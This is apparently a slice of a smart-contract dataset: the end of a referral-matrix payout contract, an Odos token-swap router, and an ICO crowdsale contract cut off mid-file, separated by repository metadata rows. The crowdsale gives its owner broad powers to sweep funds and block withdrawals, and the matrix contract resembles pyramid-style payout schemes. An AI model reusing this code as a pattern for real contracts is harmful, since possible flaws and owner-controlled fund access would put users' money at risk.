users[_addr[i]].levels[level].referrals_line1.push(referrals_line1[i][0]);
}
if(referrals_line1[i][1] != address(0)){
users[_addr[i]].levels[level].referrals_line1.push(referrals_line1[i][1]);
}
for(uint8 ind=0; ind<4; ind++){
if(referrals_line2[i][ind] != address(0)){
users[_addr[i]].levels[level].referrals_line2.push(referrals_line2[i][ind]);
}
}
levelTrees[level].nodes[lnodes[i]] = _addr[i];
levelTrees[level].enables[lnodes[i]] = true;
}
}
function levelParent(address user, uint8 level) public view returns(address){
return users[user].levels[level].parent;
}
function parents(address user) public view returns (uint[100] memory ids,
address[100] memory addrs,
uint[100] memory bamounts){
uint i = 0;
while(true){
if(user == address(0)){
return (ids,addrs,bamounts);
}
ids[i] = users[user].id;
addrs[i] = user;
bamounts[i] = users[user].borrowAmount;
i++;
user = users[user].referrer;
}
}
function userData(address user) public view returns (uint[5] memory userInfo,
bool[10] memory levels,
address[2][10] memory levelRefs1,
address[2][10] memory levelRefs1Uplines,
address[4][10] memory levelRefs2,
address[4][10] memory levelRefs2Uplines,
address[4][10] memory levelRefs2Parents,
uint[10] memory SCInfo)
{
for (uint8 i = 0; i < LAST_LEVEL; i++) {
levels[i] = users[user].levels[i+1].active;
for(uint8 j=0; j < users[user].levels[i+1].referrals_line1.length; j++){
address t = users[user].levels[i+1].referrals_line1[j];
levelRefs1[i][j] = t;
levelRefs1Uplines[i][j] = users[t].referrer;
}
for(uint8 j=0; j < users[user].levels[i+1].referrals_line2.length; j++){
address u = users[user].levels[i+1].referrals_line2[j];
if(u != address(0)){
levelRefs2[i][j] = u;
levelRefs2Parents[i][j] = users[u].levels[i+1].parent;
levelRefs2Uplines[i][j] = users[u].referrer;
}
}
}
//x6
levels[LAST_LEVEL] = users[user].x6Matrix[1].active;
for(uint8 j=0; j < users[user].x6Matrix[1].firstLevelReferrals.length; j++){
address t = users[user].x6Matrix[1].firstLevelReferrals[j];
levelRefs1[LAST_LEVEL][j] = t;
levelRefs1Uplines[LAST_LEVEL][j] = users[t].referrer;
}
for(uint8 j=0; j < users[user].x6Matrix[1].secondLevelReferrals.length; j++){
address t = users[user].x6Matrix[1].secondLevelReferrals[j];
levelRefs2[LAST_LEVEL][j] = t;
levelRefs2Parents[LAST_LEVEL][j] = users[t].x6Matrix[1].currentReferrer;
levelRefs2Uplines[LAST_LEVEL][j] = users[t].referrer;
}
userInfo[0] = users[user].id;
userInfo[1] = users[user].partnersCount;
userInfo[2] = users[user].x6Matrix[1].reinvestCount;
userInfo[3] = users[user].borrowAmount;
SCInfo[0] = totalTRX;
SCInfo[1] = address(this).balance;
SCInfo[2] = lastUserId;
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function levelTreeNodes(uint8 level, uint256 i) public view returns (address) {
return levelTrees[level].nodes[i];
}
function userLevelIndex(address user, uint8 i) public view returns (uint256 indx, address freeChild, address borrowedFrom,
address referrer, address parent, address[2] memory line1,
address[4] memory line2,
uint256 partners) {
indx = users[user].levels[i].index;
freeChild = users[user].levels[i].lastFreeChild;
borrowedFrom = users[user].borrowedFrom;
referrer = users[user].referrer;
parent = users[user].levels[i].parent;
partners = users[user].partnersCount;
for(uint ii=0; ii < users[user].levels[i].referrals_line1.length; ii++){
line1[ii] = users[user].levels[i].referrals_line1[ii];
}
for(uint ii=0; ii < users[user].levels[i].referrals_line2.length; ii++){
line2[ii] = users[user].levels[i].referrals_line2[ii];
}
}
}
| 304,386 | 12,786 |
28feaaba153f5ee33ec6a01c82b9d8d63105460b0125e985e97073448111e337
| 28,714 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/dd/dd94018f54e565dbfc939f7c44a16e163faab331_OdosRouter.sol
| 3,926 | 16,116 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.8;
// @openzeppelin/contracts/utils/Context.sol
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// @openzeppelin/contracts/access/Ownable.sol
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// @openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
interface IOdosExecutor {
function executePath (bytes calldata bytecode,
uint256[] memory inputAmount) external payable;
}
interface IDaiStylePermit {
function permit(address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s) external;
}
/// @title Routing contract for Odos SOR
/// @author Semiotic AI
/// @notice Wrapper with security gaurentees around execution of arbitrary operations on user tokens
contract OdosRouter is Ownable {
using SafeERC20 for IERC20;
/// @dev The zero address is uniquely used to represent eth since it is already
/// recognized as an invalid ERC20, and due to its gas efficiency
address constant _ETH = address(0);
/// @dev Contains all information needed to describe an input token being swapped from
struct inputToken {
address tokenAddress;
uint256 amountIn;
address receiver;
bytes permit;
}
/// @dev Contains all information needed to describe an output token being swapped to
struct outputToken {
address tokenAddress;
uint256 relativeValue;
address receiver;
}
/// @dev Swap event logging
event Swapped(address sender,
uint256[] amountsIn,
address[] tokensIn,
uint256[] amountsOut,
outputToken[] outputs,
uint256 valueOutQuote);
/// @dev Must exist in order for contract to receive eth
receive() external payable { }
/// @notice Performs a swap for a given value of some combination of specified output tokens
/// @param inputs list of input token structs for the path being executed
/// @param outputs list of output token structs for the path being executed
/// @param valueOutQuote value of destination tokens quoted for the path
/// @param valueOutMin minimum amount of value out the user will accept
/// @param executor Address of contract that will execute the path
/// @param pathDefinition Encoded path definition for executor
function swap(inputToken[] memory inputs,
outputToken[] memory outputs,
uint256 valueOutQuote,
uint256 valueOutMin,
address executor,
bytes calldata pathDefinition)
external
payable
returns (uint256[] memory amountsOut, uint256 gasLeft)
{
// Check for valid output specifications
require(valueOutMin <= valueOutQuote, "Minimum greater than quote");
require(valueOutMin > 0, "Slippage limit too low");
// Check input specification validity and transfer input tokens to executor
{
uint256 expected_msg_value = 0;
for (uint256 i = 0; i < inputs.length; i++) {
for (uint256 j = 0; j < i; j++) {
require(inputs[i].tokenAddress != inputs[j].tokenAddress,
"Duplicate source tokens");
}
for (uint256 j = 0; j < outputs.length; j++) {
require(inputs[i].tokenAddress != outputs[j].tokenAddress,
"Arbitrage not supported");
}
if (inputs[i].tokenAddress == _ETH) {
expected_msg_value = inputs[i].amountIn;
}
else {
_permit(inputs[i].tokenAddress, inputs[i].permit);
IERC20(inputs[i].tokenAddress).safeTransferFrom(msg.sender,
inputs[i].receiver,
inputs[i].amountIn);
}
}
require(msg.value == expected_msg_value, "Invalid msg.value");
}
// Check outputs for duplicates and record balances before swap
uint256[] memory balancesBefore = new uint256[](outputs.length);
for (uint256 i = 0; i < outputs.length; i++) {
for (uint256 j = 0; j < i; j++) {
require(outputs[i].tokenAddress != outputs[j].tokenAddress,
"Duplicate destination tokens");
}
balancesBefore[i] = _universalBalance(outputs[i].tokenAddress);
}
// Extract arrays of input amount values and tokens from the inputs struct list
uint256[] memory amountsIn = new uint256[](inputs.length);
address[] memory tokensIn = new address[](inputs.length);
{
for (uint256 i = 0; i < inputs.length; i++) {
amountsIn[i] = inputs[i].amountIn;
tokensIn[i] = inputs[i].tokenAddress;
}
}
// Delegate the execution of the path to the specified Odos Executor
IOdosExecutor(executor).executePath{value: msg.value}(pathDefinition, amountsIn);
{
uint256 valueOut;
amountsOut = new uint256[](outputs.length);
for (uint256 i = 0; i < outputs.length; i++) {
if (valueOut == valueOutQuote) break;
// Record the destination token balance before the path is executed
amountsOut[i] = _universalBalance(outputs[i].tokenAddress) - balancesBefore[i];
valueOut += amountsOut[i] * outputs[i].relativeValue;
// If the value out excedes the quoted value out, transfer enough to
// fulfil the quote and break the loop (any other tokens will be over quote)
if (valueOut > valueOutQuote) {
amountsOut[i] -= (valueOut - valueOutQuote) / outputs[i].relativeValue;
valueOut = valueOutQuote;
}
_universalTransfer(outputs[i].tokenAddress,
outputs[i].receiver,
amountsOut[i]);
}
require(valueOut > valueOutMin, "Slippage Limit Exceeded");
}
emit Swapped(msg.sender,
amountsIn,
tokensIn,
amountsOut,
outputs,
valueOutQuote);
gasLeft = gasleft();
}
/// @notice Allows the owner to transfer funds held by the router contract
/// @param tokens List of token address to be transferred
/// @param amounts List of amounts of each token to be transferred
/// @param dest Address to which the funds should be sent
function transferFunds(address[] calldata tokens,
uint256[] calldata amounts,
address dest)
external
onlyOwner
{
require(tokens.length == amounts.length, "Invalid funds transfer");
for (uint256 i = 0; i < tokens.length; i++) {
_universalTransfer(tokens[i], dest, amounts[i]);
}
}
/// @notice helper function to get balance of ERC20 or native coin for this contract
/// @param token address of the token to check, null for native coin
/// @return balance of specified coin or token
function _universalBalance(address token) private view returns(uint256) {
if (token == _ETH) {
return address(this).balance;
} else {
return IERC20(token).balanceOf(address(this));
}
}
/// @notice helper function to transfer ERC20 or native coin
/// @param token address of the token being transferred, null for native coin
/// @param to address to transfer to
/// @param amount to transfer
function _universalTransfer(address token, address to, uint256 amount) private {
if (token == _ETH) {
(bool success,) = payable(to).call{value: amount}("");
require(success, "ETH transfer failed");
} else {
IERC20(token).safeTransfer(to, amount);
}
}
/// @notice Executes an ERC20 or Dai Style Permit
/// @param token address of token permit is for
/// @param permit the byte information for permit execution, 0 for no operation
function _permit(address token, bytes memory permit) internal {
if (permit.length > 0) {
if (permit.length == 32 * 7) {
(bool success,) = token.call(abi.encodePacked(IERC20Permit.permit.selector, permit));
require(success, "IERC20Permit failed");
} else if (permit.length == 32 * 8) {
(bool success,) = token.call(abi.encodePacked(IDaiStylePermit.permit.selector, permit));
require(success, "Dai Style Permit failed");
} else {
revert("Invalid Permit");
}
}
}
}
| 31,020 | 12,787 |
cc31badd0620a0fe815ecfd8fe50a8a3811ab23398bef7d3065ecadbb5344b9b
| 21,934 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x85eafc29690c6d64c8513499b6bea8864fbeb6d7.sol
| 5,470 | 19,687 |
pragma solidity ^0.4.23;
// File: contracts/OpenZeppelin/ERC20Basic.sol
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/OpenZeppelin/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// Address of the contract owner
address public owner;
// The rate of tokens per ether. Only applied for the first tier, the first
// 150 million tokens sold
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
// Amount of sold tokens
uint256 public soldTokens;
// Amount of tokens processed
uint256 public processedTokens;
// Amount of unsold tokens to burn
uint256 public unSoldTokens;
// Amount of locked tokens
uint256 public lockedTokens;
// Amount of alocated tokens
uint256 public allocatedTokens;
// Amount of distributed tokens
uint256 public distributedTokens;
// ICO state paused or not
bool public paused = false;
// Minimal amount to exchange in ETH
uint256 public minPurchase = 53 finney;
// Keeping track of current round
uint256 public currentRound;
// We can only sell maximum total amount- 1,000,000,000 tokens during the ICO
uint256 public constant maxTokensRaised = 1000000000E4;
// Timestamp when the crowdsale starts 01/01/2018 @ 00:00am (UTC);
uint256 public startTime = 1527703200;
// Timestamp when the initial round ends (UTC);
uint256 public currentRoundStart = startTime;
// Timestamp when the crowdsale ends 07/07/2018 @ 00:00am (UTC);
uint256 public endTime = 1532386740;
// Timestamp when locked tokens become unlocked 21/09/2018 @ 00:00am (UTC);
uint256 public lockedTill = 1542931200;
// Timestamp when approved tokens become available 21/09/2018 @ 00:00am (UTC);
uint256 public approvedTill = 1535328000;
// How much each user paid for the crowdsale
mapping(address => uint256) public crowdsaleBalances;
// How many tokens each user got for the crowdsale
mapping(address => uint256) public tokensBought;
// How many tokens each user got for the crowdsale as bonus
mapping(address => uint256) public bonusBalances;
// How many tokens each user got locked
mapping(address => uint256) public lockedBalances;
// How many tokens each user got pre-delivered
mapping(address => uint256) public allocatedBalances;
// If user is approved to withdraw tokens
mapping(address => bool) public approved;
// How many tokens each user got distributed
mapping(address => uint256) public distributedBalances;
// Bonus levels per each round
mapping (uint256 => uint256) public bonusLevels;
// Rate levels per each round
mapping (uint256 => uint256) public rateLevels;
// Cap levels per each round
mapping (uint256 => uint256) public capLevels;
// To track list of contributors
address[] public allocatedAddresses;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Pause();
event Unpause();
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
function setNewBonusLevel (uint256 _bonusIndex, uint256 _bonusValue) onlyOwner external {
bonusLevels[_bonusIndex] = _bonusValue;
}
function setNewRateLevel (uint256 _rateIndex, uint256 _rateValue) onlyOwner external {
rateLevels[_rateIndex] = _rateValue;
}
function setMinPurchase (uint256 _minPurchase) onlyOwner external {
minPurchase = _minPurchase;
}
// @notice Set's the rate of tokens per ether for each round
function setNewRatesCustom (uint256 _r1, uint256 _r2, uint256 _r3, uint256 _r4, uint256 _r5, uint256 _r6) onlyOwner external {
require(_r1 > 0 && _r2 > 0 && _r3 > 0 && _r4 > 0 && _r5 > 0 && _r6 > 0);
rateLevels[1] = _r1;
rateLevels[2] = _r2;
rateLevels[3] = _r3;
rateLevels[4] = _r4;
rateLevels[5] = _r5;
rateLevels[6] = _r6;
}
// @notice Set's the rate of tokens per ether for each round
function setNewRatesBase (uint256 _r1) onlyOwner external {
require(_r1 > 0);
rateLevels[1] = _r1;
rateLevels[2] = _r1.div(2);
rateLevels[3] = _r1.div(3);
rateLevels[4] = _r1.div(4);
rateLevels[5] = _r1.div(5);
rateLevels[6] = _r1.div(5);
}
constructor(uint256 _rate, address _wallet, address _owner, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
wallet = _wallet;
token = _token;
owner = _owner;
soldTokens = 0;
unSoldTokens = 0;
processedTokens = 0;
lockedTokens = 0;
distributedTokens = 0;
currentRound = 1;
//bonus values per each round;
bonusLevels[1] = 5;
bonusLevels[2] = 10;
bonusLevels[3] = 15;
bonusLevels[4] = 20;
bonusLevels[5] = 50;
bonusLevels[6] = 0;
//rate values per each round;
rateLevels[1] = _rate;
rateLevels[2] = _rate.div(2);
rateLevels[3] = _rate.div(3);
rateLevels[4] = _rate.div(4);
rateLevels[5] = _rate.div(5);
rateLevels[6] = _rate.div(5);
//cap values per each round
capLevels[1] = 150000000E4;
capLevels[2] = 210000000E4;
capLevels[3] = 255000000E4;
capLevels[4] = 285000000E4;
capLevels[5] = 300000000E4;
capLevels[6] = maxTokensRaised;
}
// -----------------------------------------
// Crowdsale interface
// -----------------------------------------
function () external payable whenNotPaused {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable whenNotPaused {
uint256 amountPaid = msg.value;
_preValidatePurchase(_beneficiary, amountPaid);
uint256 tokens = 0;
uint256 bonusTokens = 0;
uint256 fullTokens = 0;
// Round 1
if(processedTokens < capLevels[1]) {
tokens = _getTokensAmount(amountPaid, 1);
bonusTokens = _getBonusAmount(tokens, 1);
fullTokens = tokens.add(bonusTokens);
// If the amount of tokens that you want to buy gets out of round 1
if(processedTokens.add(fullTokens) > capLevels[1]) {
tokens = _calculateExcessTokens(amountPaid, 1);
bonusTokens = _calculateExcessBonus(tokens, 1);
setCurrentRound(2);
}
// Round 2
} else if(processedTokens >= capLevels[1] && processedTokens < capLevels[2]) {
tokens = _getTokensAmount(amountPaid, 2);
bonusTokens = _getBonusAmount(tokens, 2);
fullTokens = tokens.add(bonusTokens);
// If the amount of tokens that you want to buy gets out of round 2
if(processedTokens.add(fullTokens) > capLevels[2]) {
tokens = _calculateExcessTokens(amountPaid, 2);
bonusTokens = _calculateExcessBonus(tokens, 2);
setCurrentRound(3);
}
// Round 3
} else if(processedTokens >= capLevels[2] && processedTokens < capLevels[3]) {
tokens = _getTokensAmount(amountPaid, 3);
bonusTokens = _getBonusAmount(tokens, 3);
fullTokens = tokens.add(bonusTokens);
// If the amount of tokens that you want to buy gets out of round 3
if(processedTokens.add(fullTokens) > capLevels[3]) {
tokens = _calculateExcessTokens(amountPaid, 3);
bonusTokens = _calculateExcessBonus(tokens, 3);
setCurrentRound(4);
}
// Round 4
} else if(processedTokens >= capLevels[3] && processedTokens < capLevels[4]) {
tokens = _getTokensAmount(amountPaid, 4);
bonusTokens = _getBonusAmount(tokens, 4);
fullTokens = tokens.add(bonusTokens);
// If the amount of tokens that you want to buy gets out of round 4
if(processedTokens.add(fullTokens) > capLevels[4]) {
tokens = _calculateExcessTokens(amountPaid, 4);
bonusTokens = _calculateExcessBonus(tokens, 4);
setCurrentRound(5);
}
// Round 5
} else if(processedTokens >= capLevels[4] && processedTokens < capLevels[5]) {
tokens = _getTokensAmount(amountPaid, 5);
bonusTokens = _getBonusAmount(tokens, 5);
fullTokens = tokens.add(bonusTokens);
// If the amount of tokens that you want to buy gets out of round 5
if(processedTokens.add(fullTokens) > capLevels[5]) {
tokens = _calculateExcessTokens(amountPaid, 5);
bonusTokens = 0;
setCurrentRound(6);
}
// Round 6
} else if(processedTokens >= capLevels[5]) {
tokens = _getTokensAmount(amountPaid, 6);
}
// update state
weiRaised = weiRaised.add(amountPaid);
fullTokens = tokens.add(bonusTokens);
soldTokens = soldTokens.add(fullTokens);
processedTokens = processedTokens.add(fullTokens);
// Keep a record of how many tokens everybody gets in case we need to do refunds
tokensBought[msg.sender] = tokensBought[msg.sender].add(tokens);
// Kepp a record of how many wei everybody contributed in case we need to do refunds
crowdsaleBalances[msg.sender] = crowdsaleBalances[msg.sender].add(amountPaid);
// Kepp a record of how many token everybody got as bonus to display in
bonusBalances[msg.sender] = bonusBalances[msg.sender].add(bonusTokens);
// Combine bought tokens with bonus tokens before sending to investor
uint256 totalTokens = tokens.add(bonusTokens);
// Distribute the token
_processPurchase(_beneficiary, totalTokens);
emit TokenPurchase(msg.sender,
_beneficiary,
amountPaid,
totalTokens);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) view internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
bool withinPeriod = hasStarted() && hasNotEnded();
bool nonZeroPurchase = msg.value > 0;
bool withinTokenLimit = processedTokens < maxTokensRaised;
bool minimumPurchase = msg.value >= minPurchase;
require(withinPeriod);
require(nonZeroPurchase);
require(withinTokenLimit);
require(minimumPurchase);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
uint256 _tokensToPreAllocate = _tokenAmount.div(2);
uint256 _tokensToLock = _tokenAmount.sub(_tokensToPreAllocate);
//record address for future distribution
allocatedAddresses.push(_beneficiary);
//pre allocate 50% of purchase for delivery in 30 days
_preAllocateTokens(_beneficiary, _tokensToPreAllocate);
//lock 50% of purchase for delivery after 4 months
_lockTokens(_beneficiary, _tokensToLock);
//approve by default (dissaprove manually)
approved[_beneficiary] = true;
}
function _lockTokens(address _beneficiary, uint256 _tokenAmount) internal {
lockedBalances[_beneficiary] = lockedBalances[_beneficiary].add(_tokenAmount);
lockedTokens = lockedTokens.add(_tokenAmount);
}
function _preAllocateTokens(address _beneficiary, uint256 _tokenAmount) internal {
allocatedBalances[_beneficiary] = allocatedBalances[_beneficiary].add(_tokenAmount);
allocatedTokens = allocatedTokens.add(_tokenAmount);
}
function _getBonusAmount(uint256 _tokenAmount, uint256 _bonusIndex) internal view returns (uint256) {
uint256 bonusValue = _tokenAmount.mul(bonusLevels[_bonusIndex]);
return bonusValue.div(100);
}
function _calculateExcessBonus(uint256 _tokens, uint256 _level) internal view returns (uint256) {
uint256 thisLevelTokens = processedTokens.add(_tokens);
uint256 nextLevelTokens = thisLevelTokens.sub(capLevels[_level]);
uint256 totalBonus = _getBonusAmount(nextLevelTokens, _level.add(1));
return totalBonus;
}
function _calculateExcessTokens(uint256 amount,
uint256 roundSelected) internal returns(uint256) {
require(amount > 0);
require(roundSelected >= 1 && roundSelected <= 6);
uint256 _rate = rateLevels[roundSelected];
uint256 _leftTokens = capLevels[roundSelected].sub(processedTokens);
uint256 weiThisRound = _leftTokens.div(_rate).mul(1E14);
uint256 weiNextRound = amount.sub(weiThisRound);
uint256 tokensNextRound = 0;
// If there's excessive wei for the last tier, refund those
uint256 nextRound = roundSelected.add(1);
if(roundSelected != 6) {
tokensNextRound = _getTokensAmount(weiNextRound, nextRound);
}
else {
msg.sender.transfer(weiNextRound);
}
uint256 totalTokens = _leftTokens.add(tokensNextRound);
return totalTokens;
}
function _getTokensAmount(uint256 weiPaid, uint256 roundSelected)
internal constant returns(uint256 calculatedTokens)
{
require(weiPaid > 0);
require(roundSelected >= 1 && roundSelected <= 6);
uint256 typeTokenWei = weiPaid.div(1E14);
calculatedTokens = typeTokenWei.mul(rateLevels[roundSelected]);
}
// -----------------------------------------
// External interface (withdraw)
// -----------------------------------------
function _withdrawAllFunds() onlyOwner external {
wallet.transfer(address(this).balance);
}
function _withdrawWei(uint256 _amount) onlyOwner external {
wallet.transfer(_amount);
}
function _changeLockDate(uint256 _newDate) onlyOwner external {
require(_newDate <= endTime.add(36 weeks));
lockedTill = _newDate;
}
function _changeApproveDate(uint256 _newDate) onlyOwner external {
require(_newDate <= endTime.add(12 weeks));
approvedTill = _newDate;
}
function changeWallet(address _newWallet) onlyOwner external {
wallet = _newWallet;
}
/// @notice Public function to check if the crowdsale has ended or not
function hasNotEnded() public constant returns(bool) {
return now < endTime && processedTokens < maxTokensRaised;
}
/// @notice Public function to check if the crowdsale has started or not
function hasStarted() public constant returns(bool) {
return now > startTime;
}
function setCurrentRound(uint256 _roundIndex) internal {
currentRound = _roundIndex;
currentRoundStart = now;
}
//move to next round by overwriting soldTokens value, unsold tokens will be burned;
function goNextRound() onlyOwner external {
require(currentRound < 6);
uint256 notSold = getUnsold();
unSoldTokens = unSoldTokens.add(notSold);
processedTokens = capLevels[currentRound];
currentRound = currentRound.add(1);
currentRoundStart = now;
}
function getUnsold() internal view returns (uint256) {
uint256 unSold = capLevels[currentRound].sub(processedTokens);
return unSold;
}
function checkUnsold() onlyOwner external view returns (uint256) {
uint256 unSold = capLevels[currentRound].sub(processedTokens);
return unSold;
}
function round() public view returns(uint256) {
return currentRound;
}
function currentBonusLevel() public view returns(uint256) {
return bonusLevels[currentRound];
}
function currentRateLevel() public view returns(uint256) {
return rateLevels[currentRound];
}
function currentCapLevel() public view returns(uint256) {
return capLevels[currentRound];
}
function changeApproval(address _beneficiary, bool _newStatus) onlyOwner public {
approved[_beneficiary] = _newStatus;
}
function massApproval(bool _newStatus, uint256 _start, uint256 _end) onlyOwner public {
require(_start >= 0);
require(_end > 0);
require(_end > _start);
for (uint256 i = _start; i < _end; i++) {
approved[allocatedAddresses[i]] = _newStatus;
}
}
function autoTransferApproved(uint256 _start, uint256 _end) onlyOwner public {
require(_start >= 0);
require(_end > 0);
require(_end > _start);
for (uint256 i = _start; i < _end; i++) {
transferApprovedBalance(allocatedAddresses[i]);
}
}
function autoTransferLocked(uint256 _start, uint256 _end) onlyOwner public {
require(_start >= 0);
require(_end > 0);
require(_end > _start);
for (uint256 i = _start; i < _end; i++) {
transferLockedBalance(allocatedAddresses[i]);
}
}
function transferApprovedBalance(address _beneficiary) public {
require(_beneficiary != address(0));
require(now >= approvedTill);
require(allocatedTokens > 0);
require(approved[_beneficiary]);
require(allocatedBalances[_beneficiary] > 0);
uint256 _approvedTokensToTransfer = allocatedBalances[_beneficiary];
token.transfer(_beneficiary, _approvedTokensToTransfer);
distributedBalances[_beneficiary] = distributedBalances[_beneficiary].add(_approvedTokensToTransfer);
allocatedTokens = allocatedTokens.sub(_approvedTokensToTransfer);
allocatedBalances[_beneficiary] = 0;
distributedTokens = distributedTokens.add(_approvedTokensToTransfer);
}
